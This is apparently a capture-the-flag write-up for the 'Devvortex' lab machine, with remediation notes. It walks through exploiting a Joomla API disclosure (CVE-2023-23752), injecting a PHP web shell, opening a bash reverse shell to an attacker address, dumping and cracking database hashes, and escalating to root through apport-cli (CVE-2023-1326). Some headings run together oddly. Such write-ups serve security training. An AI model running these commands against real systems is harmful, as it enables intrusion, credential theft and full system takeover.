Devvortex
Summary
I discovered a hidden development virtual host running an outdated Joomla 4 installation and exploited an unauthenticated REST API information-disclosure flaw (CVE-2023-23752) to retrieve the database password for the CMS administrator 'lewis' in cleartext. Because that password was reused for the Joomla admin account, I logged straight into the administrator panel, then abused the built-in template file editor to inject a PHP web shell and execute commands as www-data.
Querying the local MySQL database from that shell exposed a bcrypt hash for the Linux user 'logan', which cracked trivially to <withheld>. My SSH'd in as logan, then exploited a NOPASSWD sudo rule permitting an unpatched version of apport-cli to open reports in the 'less' pager with root privileges—allowing an instant shell-escape to root (CVE-2023-1326).
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"Attack path — how the box was taken
Exact commands 2
Add the discovered hostname to /etc/hosts before continuing.
$ gobuster vhost -u http://devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 40Confirm the Joomla admin panel is reachable and note the Joomla version from the generator meta tag.
$ curl -si http://dev.devvortex.htb/administrator/index.php | head -5Exact commands 1
Look for 'user', 'password', 'db', and 'host' keys in the returned JSON — all returned in plaintext.
$ curl -s 'http://dev.devvortex.htb/api/index.php/v1/config/application?public=true' | python3 -m json.toolFixPatch Joomla to fix unauthenticated API configuration disclosure (CVE-2023-23752)Critical
Exact commands 1
200 response confirms authentication; joomla.cookies now holds the valid admin session.
$ curl -c joomla.cookies -s -o /dev/null -w '%{http_code}' -X POST 'http://dev.devvortex.htb/administrator/index.php' --data "username=lewis&passwd=$PASSWORD&option=com_login&task=login&return=aW5kZXgucGhw"FixUse unique passwords for every application account — never reuse database credentialsHigh
Exact commands 4
L2Vycm9yLnBocA== is base64('/error.php'). Extract the CSRF token from the response before the next step.
$ curl -b joomla.cookies -s 'http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=template&id=223&file=L2Vycm9yLnBocA==' -o editor.htmlSaves the web shell. If save fails, re-extract a fresh CSRF token from a new GET to the editor page.
$ TOKEN=$(grep -oP '[a-f0-9]{32}(?=":1)' editor.html | head -1); curl -b joomla.cookies -X POST 'http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=template&id=223&file=L2Vycm9yLnBocA==' -d "jform[source]=<?php+system(%24_GET['ptcmd']);+?>&jform[filename]=/var/www/dev.devvortex.htb/templates/cassiopeia/error.php&task=template.apply&${TOKEN}=1"Confirms RCE — expect output containing 'uid=33(www-data)'.
$ curl -s 'http://dev.devvortex.htb/templates/cassiopeia/error.php?ptcmd=id'Reverse shell. Run 'nc -lvnp 4444' on my machine first; replace $ATTACKER_IP.
$ curl -s 'http://dev.devvortex.htb/templates/cassiopeia/error.php' --get --data-urlencode 'ptcmd=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"'FixDisable the Joomla administrator PHP template editorHigh
Exact commands 4
Run from the www-data shell to identify the Joomla database name (typically 'joomla').
$ mysql -u lewis -p"$PASSWORD" -h 127.0.0.1 -e 'SHOW DATABASES;'Table prefix (sd4fg_) is random per install. Use SHOW TABLES to find the correct prefix first.
$ mysql -u lewis -p"$PASSWORD" -h 127.0.0.1 joomla -e "SHOW TABLES LIKE '%users%'; SELECT username,password FROM sd4fg_users;"Mode 3200 = bcrypt. Paste the retrieved hash into logan.hash. Cracks to <withheld>.
$ hashcat -m 3200 logan.hash /usr/share/wordlists/rockyou.txtConfirms SSH access as logan. User.txt flag: <user.txt>.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null logan@$TARGET 'id; hostname; cat /home/logan/user.txt'FixEnforce strong passwords for all Linux user accounts and disable SSH password authenticationHigh
Exact commands 4
Run as logan. Confirms: (ALL) NOPASSWD: /usr/bin/apport-cli.
$ sudo -lOpens apport-cli in file-a-bug mode for the 'bash' package. Follow any prompts; when offered to view the report, press V to open it in less.
$ sudo /usr/bin/apport-cli -f -p bashType this inside the less pager and press Enter. Spawns a root shell because less inherits root privileges from apport-cli.
$ !/bin/bashConfirms root. Root.txt flag: <root.txt>.
$ id && cat /root/root.txt
uid=0(root)FixRemove the apport-cli sudo rule and patch CVE-2023-1326Critical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.